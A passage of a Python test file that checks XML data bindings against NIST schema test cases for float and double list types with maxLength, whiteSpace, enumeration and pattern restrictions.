schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-maxLength-2.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-maxLength-2-3.xml",
class_name="NistschemaSvIvListFloatMaxLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_max_length_1_nistxml_sv_iv_list_float_max_length_2_4(mode, save_output, output_format):
"""
Type list/float is restricted by facet maxLength with value 6.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-maxLength-2.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-maxLength-2-4.xml",
class_name="NistschemaSvIvListFloatMaxLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_max_length_1_nistxml_sv_iv_list_float_max_length_2_5(mode, save_output, output_format):
"""
Type list/float is restricted by facet maxLength with value 6.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-maxLength-2.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-maxLength-2-5.xml",
class_name="NistschemaSvIvListFloatMaxLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_max_length_nistxml_sv_iv_list_float_max_length_1_1(mode, save_output, output_format):
"""
Type list/float is restricted by facet maxLength with value 5.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-maxLength-1.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-maxLength-1-1.xml",
class_name="NistschemaSvIvListFloatMaxLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_max_length_nistxml_sv_iv_list_float_max_length_1_2(mode, save_output, output_format):
"""
Type list/float is restricted by facet maxLength with value 5.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-maxLength-1.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-maxLength-1-2.xml",
class_name="NistschemaSvIvListFloatMaxLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_max_length_nistxml_sv_iv_list_float_max_length_1_3(mode, save_output, output_format):
"""
Type list/float is restricted by facet maxLength with value 5.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-maxLength-1.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-maxLength-1-3.xml",
class_name="NistschemaSvIvListFloatMaxLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_max_length_nistxml_sv_iv_list_float_max_length_1_4(mode, save_output, output_format):
"""
Type list/float is restricted by facet maxLength with value 5.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-maxLength-1.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-maxLength-1-4.xml",
class_name="NistschemaSvIvListFloatMaxLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_max_length_nistxml_sv_iv_list_float_max_length_1_5(mode, save_output, output_format):
"""
Type list/float is restricted by facet maxLength with value 5.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-maxLength-1.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-maxLength-1-5.xml",
class_name="NistschemaSvIvListFloatMaxLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_white_space_nistxml_sv_iv_list_double_white_space_1_1(mode, save_output, output_format):
"""
Type list/double is restricted by facet whiteSpace with value
collapse.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-whiteSpace-1.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-whiteSpace-1-1.xml",
class_name="NistschemaSvIvListDoubleWhiteSpace1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_white_space_nistxml_sv_iv_list_double_white_space_1_2(mode, save_output, output_format):
"""
Type list/double is restricted by facet whiteSpace with value
collapse.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-whiteSpace-1.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-whiteSpace-1-2.xml",
class_name="NistschemaSvIvListDoubleWhiteSpace1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_white_space_nistxml_sv_iv_list_double_white_space_1_3(mode, save_output, output_format):
"""
Type list/double is restricted by facet whiteSpace with value
collapse.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-whiteSpace-1.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-whiteSpace-1-3.xml",
class_name="NistschemaSvIvListDoubleWhiteSpace1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_white_space_nistxml_sv_iv_list_double_white_space_1_4(mode, save_output, output_format):
"""
Type list/double is restricted by facet whiteSpace with value
collapse.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-whiteSpace-1.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-whiteSpace-1-4.xml",
class_name="NistschemaSvIvListDoubleWhiteSpace1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_white_space_nistxml_sv_iv_list_double_white_space_1_5(mode, save_output, output_format):
"""
Type list/double is restricted by facet whiteSpace with value
collapse.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-whiteSpace-1.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-whiteSpace-1-5.xml",
class_name="NistschemaSvIvListDoubleWhiteSpace1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_enumeration_4_nistxml_sv_iv_list_double_enumeration_5_1(mode, save_output, output_format):
"""
Type list/double is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-enumeration-5.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-enumeration-5-1.xml",
class_name="NistschemaSvIvListDoubleEnumeration5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_enumeration_4_nistxml_sv_iv_list_double_enumeration_5_2(mode, save_output, output_format):
"""
Type list/double is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-enumeration-5.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-enumeration-5-2.xml",
class_name="NistschemaSvIvListDoubleEnumeration5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_enumeration_4_nistxml_sv_iv_list_double_enumeration_5_3(mode, save_output, output_format):
"""
Type list/double is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-enumeration-5.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-enumeration-5-3.xml",
class_name="NistschemaSvIvListDoubleEnumeration5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_enumeration_4_nistxml_sv_iv_list_double_enumeration_5_4(mode, save_output, output_format):
"""
Type list/double is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-enumeration-5.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-enumeration-5-4.xml",
class_name="NistschemaSvIvListDoubleEnumeration5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_enumeration_4_nistxml_sv_iv_list_double_enumeration_5_5(mode, save_output, output_format):
"""
Type list/double is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-enumeration-5.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-enumeration-5-5.xml",
class_name="NistschemaSvIvListDoubleEnumeration5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_enumeration_3_nistxml_sv_iv_list_double_enumeration_4_1(mode, save_output, output_format):
"""
Type list/double is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-enumeration-4.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-enumeration-4-1.xml",
class_name="NistschemaSvIvListDoubleEnumeration4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_enumeration_3_nistxml_sv_iv_list_double_enumeration_4_2(mode, save_output, output_format):
"""
Type list/double is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-enumeration-4.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-enumeration-4-2.xml",
class_name="NistschemaSvIvListDoubleEnumeration4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_enumeration_3_nistxml_sv_iv_list_double_enumeration_4_3(mode, save_output, output_format):
"""
Type list/double is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-enumeration-4.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-enumeration-4-3.xml",
class_name="NistschemaSvIvListDoubleEnumeration4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_enumeration_3_nistxml_sv_iv_list_double_enumeration_4_4(mode, save_output, output_format):
"""
Type list/double is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-enumeration-4.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-enumeration-4-4.xml",
class_name="NistschemaSvIvListDoubleEnumeration4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_enumeration_3_nistxml_sv_iv_list_double_enumeration_4_5(mode, save_output, output_format):
"""
Type list/double is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-enumeration-4.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-enumeration-4-5.xml",
class_name="NistschemaSvIvListDoubleEnumeration4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_enumeration_2_nistxml_sv_iv_list_double_enumeration_3_1(mode, save_output, output_format):
"""
Type list/double is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-enumeration-3.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-enumeration-3-1.xml",
class_name="NistschemaSvIvListDoubleEnumeration3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_enumeration_2_nistxml_sv_iv_list_double_enumeration_3_2(mode, save_output, output_format):
"""
Type list/double is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-enumeration-3.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-enumeration-3-2.xml",
class_name="NistschemaSvIvListDoubleEnumeration3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_enumeration_2_nistxml_sv_iv_list_double_enumeration_3_3(mode, save_output, output_format):
"""
Type list/double is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-enumeration-3.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-enumeration-3-3.xml",
class_name="NistschemaSvIvListDoubleEnumeration3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_enumeration_2_nistxml_sv_iv_list_double_enumeration_3_4(mode, save_output, output_format):
"""
Type list/double is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-enumeration-3.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-enumeration-3-4.xml",
class_name="NistschemaSvIvListDoubleEnumeration3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_enumeration_2_nistxml_sv_iv_list_double_enumeration_3_5(mode, save_output, output_format):
"""
Type list/double is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-enumeration-3.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-enumeration-3-5.xml",
class_name="NistschemaSvIvListDoubleEnumeration3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_enumeration_1_nistxml_sv_iv_list_double_enumeration_2_1(mode, save_output, output_format):
"""
Type list/double is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-enumeration-2.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-enumeration-2-1.xml",
class_name="NistschemaSvIvListDoubleEnumeration2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_enumeration_1_nistxml_sv_iv_list_double_enumeration_2_2(mode, save_output, output_format):
"""
Type list/double is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-enumeration-2.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-enumeration-2-2.xml",
class_name="NistschemaSvIvListDoubleEnumeration2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_enumeration_1_nistxml_sv_iv_list_double_enumeration_2_3(mode, save_output, output_format):
"""
Type list/double is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-enumeration-2.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-enumeration-2-3.xml",
class_name="NistschemaSvIvListDoubleEnumeration2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_enumeration_1_nistxml_sv_iv_list_double_enumeration_2_4(mode, save_output, output_format):
"""
Type list/double is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-enumeration-2.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-enumeration-2-4.xml",
class_name="NistschemaSvIvListDoubleEnumeration2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_enumeration_1_nistxml_sv_iv_list_double_enumeration_2_5(mode, save_output, output_format):
"""
Type list/double is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-enumeration-2.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-enumeration-2-5.xml",
class_name="NistschemaSvIvListDoubleEnumeration2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_enumeration_nistxml_sv_iv_list_double_enumeration_1_1(mode, save_output, output_format):
"""
Type list/double is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-enumeration-1.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-enumeration-1-1.xml",
class_name="NistschemaSvIvListDoubleEnumeration1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_enumeration_nistxml_sv_iv_list_double_enumeration_1_2(mode, save_output, output_format):
"""
Type list/double is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-enumeration-1.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-enumeration-1-2.xml",
class_name="NistschemaSvIvListDoubleEnumeration1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_enumeration_nistxml_sv_iv_list_double_enumeration_1_3(mode, save_output, output_format):
"""
Type list/double is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-enumeration-1.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-enumeration-1-3.xml",
class_name="NistschemaSvIvListDoubleEnumeration1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_enumeration_nistxml_sv_iv_list_double_enumeration_1_4(mode, save_output, output_format):
"""
Type list/double is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-enumeration-1.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-enumeration-1-4.xml",
class_name="NistschemaSvIvListDoubleEnumeration1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_enumeration_nistxml_sv_iv_list_double_enumeration_1_5(mode, save_output, output_format):
"""
Type list/double is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-enumeration-1.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-enumeration-1-5.xml",
class_name="NistschemaSvIvListDoubleEnumeration1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_pattern_4_nistxml_sv_iv_list_double_pattern_5_1(mode, save_output, output_format):
r"""
Type list/double is restricted by facet pattern with value
\d{1}E\-\d{3} \d{1}\.\d{2}E\-\d{2} \d{1}\.\d{4}E\-\d{1}
\d{1}\.\d{6}E\d{1} \d{1}\.\d{8}E\d{2} \d{1}\.\d{10}E\d{3}
\d{1}\.\d{12}E\-\d{3} \d{1}\.\d{16}E\-\d{2}.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-pattern-5.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-pattern-5-1.xml",
class_name="NistschemaSvIvListDoublePattern5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_pattern_4_nistxml_sv_iv_list_double_pattern_5_2(mode, save_output, output_format):
r"""
Type list/double is restricted by facet pattern with value
\d{1}E\-\d{3} \d{1}\.\d{2}E\-\d{2} \d{1}\.\d{4}E\-\d{1}
\d{1}\.\d{6}E\d{1} \d{1}\.\d{8}E\d{2} \d{1}\.\d{10}E\d{3}
\d{1}\.\d{12}E\-\d{3} \d{1}\.\d{16}E\-\d{2}.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-pattern-5.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-pattern-5-2.xml",
class_name="NistschemaSvIvListDoublePattern5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_pattern_4_nistxml_sv_iv_list_double_pattern_5_3(mode, save_output, output_format):
r"""
Type list/double is restricted by facet pattern with value
\d{1}E\-\d{3} \d{1}\.\d{2}E\-\d{2} \d{1}\.\d{4}E\-\d{1}
\d{1}\.\d{6}E\d{1} \d{1}\.\d{8}E\d{2} \d{1}\.\d{10}E\d{3}
\d{1}\.\d{12}E\-\d{3} \d{1}\.\d{16}E\-\d{2}.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-pattern-5.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-pattern-5-3.xml",
class_name="NistschemaSvIvListDoublePattern5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_pattern_4_nistxml_sv_iv_list_double_pattern_5_4(mode, save_output, output_format):
r"""
Type list/double is restricted by facet pattern with value
\d{1}E\-\d{3} \d{1}\.\d{2}E\-\d{2} \d{1}\.\d{4}E\-\d{1}
\d{1}\.\d{6}E\d{1} \d{1}\.\d{8}E\d{2} \d{1}\.\d{10}E\d{3}
\d{1}\.\d{12}E\-\d{3} \d{1}\.\d{16}E\-\d{2}.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-pattern-5.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-pattern-5-4.xml",
class_name="NistschemaSvIvListDoublePattern5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_pattern_4_nistxml_sv_iv_list_double_pattern_5_5(mode, save_output, output_format):
r"""
Type list/double is restricted by facet pattern with value
\d{1}E\-\d{3} \d{1}\.\d{2}E\-\d{2} \d{1}\.\d{4}E\-\d{1}
\d{1}\.\d{6}E\d{1} \d{1}\.\d{8}E\d{2} \d{1}\.\d{10}E\d{3}
\d{1}\.\d{12}E\-\d{3} \d{1}\.\d{16}E\-\d{2}.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-pattern-5.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-pattern-5-5.xml",
class_name="NistschemaSvIvListDoublePattern5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_pattern_3_nistxml_sv_iv_list_double_pattern_4_1(mode, save_output, output_format):
r"""
Type list/double is restricted by facet pattern with value
\d{1}E\-\d{3} \d{1}\.\d{2}E\-\d{2} \d{1}\.\d{4}E\-\d{1}
\d{1}\.\d{6}E\d{1} \d{1}\.\d{8}E\d{2} \d{1}\.\d{10}E\d{3}
\d{1}\.\d{16}E\-\d{3}.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-pattern-4.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-pattern-4-1.xml",
class_name="NistschemaSvIvListDoublePattern4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_pattern_3_nistxml_sv_iv_list_double_pattern_4_2(mode, save_output, output_format):
r"""
Type list/double is restricted by facet pattern with value
\d{1}E\-\d{3} \d{1}\.\d{2}E\-\d{2} \d{1}\.\d{4}E\-\d{1}
\d{1}\.\d{6}E\d{1} \d{1}\.\d{8}E\d{2} \d{1}\.\d{10}E\d{3}
\d{1}\.\d{16}E\-\d{3}.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-pattern-4.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-pattern-4-2.xml",
class_name="NistschemaSvIvListDoublePattern4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_pattern_3_nistxml_sv_iv_list_double_pattern_4_3(mode, save_output, output_format):
r"""
Type list/double is restricted by facet pattern with value
\d{1}E\-\d{3} \d{1}\.\d{2}E\-\d{2} \d{1}\.\d{4}E\-\d{1}
\d{1}\.\d{6}E\d{1} \d{1}\.\d{8}E\d{2} \d{1}\.\d{10}E\d{3}
\d{1}\.\d{16}E\-\d{3}.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-pattern-4.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-pattern-4-3.xml",
class_name="NistschemaSvIvListDoublePattern4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_pattern_3_nistxml_sv_iv_list_double_pattern_4_4(mode, save_output, output_format):
r"""
Type list/double is restricted by facet pattern with value
\d{1}E\-\d{3} \d{1}\.\d{2}E\-\d{2} \d{1}\.\d{4}E\-\d{1}
\d{1}\.\d{6}E\d{1} \d{1}\.\d{8}E\d{2} \d{1}\.\d{10}E\d{3}
\d{1}\.\d{16}E\-\d{3}.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-pattern-4.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-pattern-4-4.xml",
class_name="NistschemaSvIvListDoublePattern4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_pattern_3_nistxml_sv_iv_list_double_pattern_4_5(mode, save_output, output_format):
r"""
Type list/double is restricted by facet pattern with value
\d{1}E\-\d{3} \d{1}\.\d{2}E\-\d{2} \d{1}\.\d{4}E\-\d{1}
\d{1}\.\d{6}E\d{1} \d{1}\.\d{8}E\d{2} \d{1}\.\d{10}E\d{3}
\d{1}\.\d{16}E\-\d{3}.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-pattern-4.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-pattern-4-5.xml",
class_name="NistschemaSvIvListDoublePattern4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_pattern_2_nistxml_sv_iv_list_double_pattern_3_1(mode, save_output, output_format):
r"""
Type list/double is restricted by facet pattern with value
\d{1}E\-\d{3} \d{1}\.\d{3}E\-\d{2} \d{1}\.\d{6}E\-\d{1}
\d{1}\.\d{9}E\d{1} \d{1}\.\d{12}E\d{2} \d{1}\.\d{16}E\d{3}.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-pattern-3.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-pattern-3-1.xml",
class_name="NistschemaSvIvListDoublePattern3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_pattern_2_nistxml_sv_iv_list_double_pattern_3_2(mode, save_output, output_format):
r"""
Type list/double is restricted by facet pattern with value
\d{1}E\-\d{3} \d{1}\.\d{3}E\-\d{2} \d{1}\.\d{6}E\-\d{1}
\d{1}\.\d{9}E\d{1} \d{1}\.\d{12}E\d{2} \d{1}\.\d{16}E\d{3}.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-pattern-3.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-pattern-3-2.xml",
class_name="NistschemaSvIvListDoublePattern3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_pattern_2_nistxml_sv_iv_list_double_pattern_3_3(mode, save_output, output_format):
r"""
Type list/double is restricted by facet pattern with value
\d{1}E\-\d{3} \d{1}\.\d{3}E\-\d{2} \d{1}\.\d{6}E\-\d{1}
\d{1}\.\d{9}E\d{1} \d{1}\.\d{12}E\d{2} \d{1}\.\d{16}E\d{3}.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-pattern-3.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-pattern-3-3.xml",
class_name="NistschemaSvIvListDoublePattern3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_pattern_2_nistxml_sv_iv_list_double_pattern_3_4(mode, save_output, output_format):
r"""
Type list/double is restricted by facet pattern with value
\d{1}E\-\d{3} \d{1}\.\d{3}E\-\d{2} \d{1}\.\d{6}E\-\d{1}
\d{1}\.\d{9}E\d{1} \d{1}\.\d{12}E\d{2} \d{1}\.\d{16}E\d{3}.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-pattern-3.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-pattern-3-4.xml",
class_name="NistschemaSvIvListDoublePattern3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_pattern_2_nistxml_sv_iv_list_double_pattern_3_5(mode, save_output, output_format):
r"""
Type list/double is restricted by facet pattern with value
\d{1}E\-\d{3} \d{1}\.\d{3}E\-\d{2} \d{1}\.\d{6}E\-\d{1}
\d{1}\.\d{9}E\d{1} \d{1}\.\d{12}E\d{2} \d{1}\.\d{16}E\d{3}.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-pattern-3.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-pattern-3-5.xml",
class_name="NistschemaSvIvListDoublePattern3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
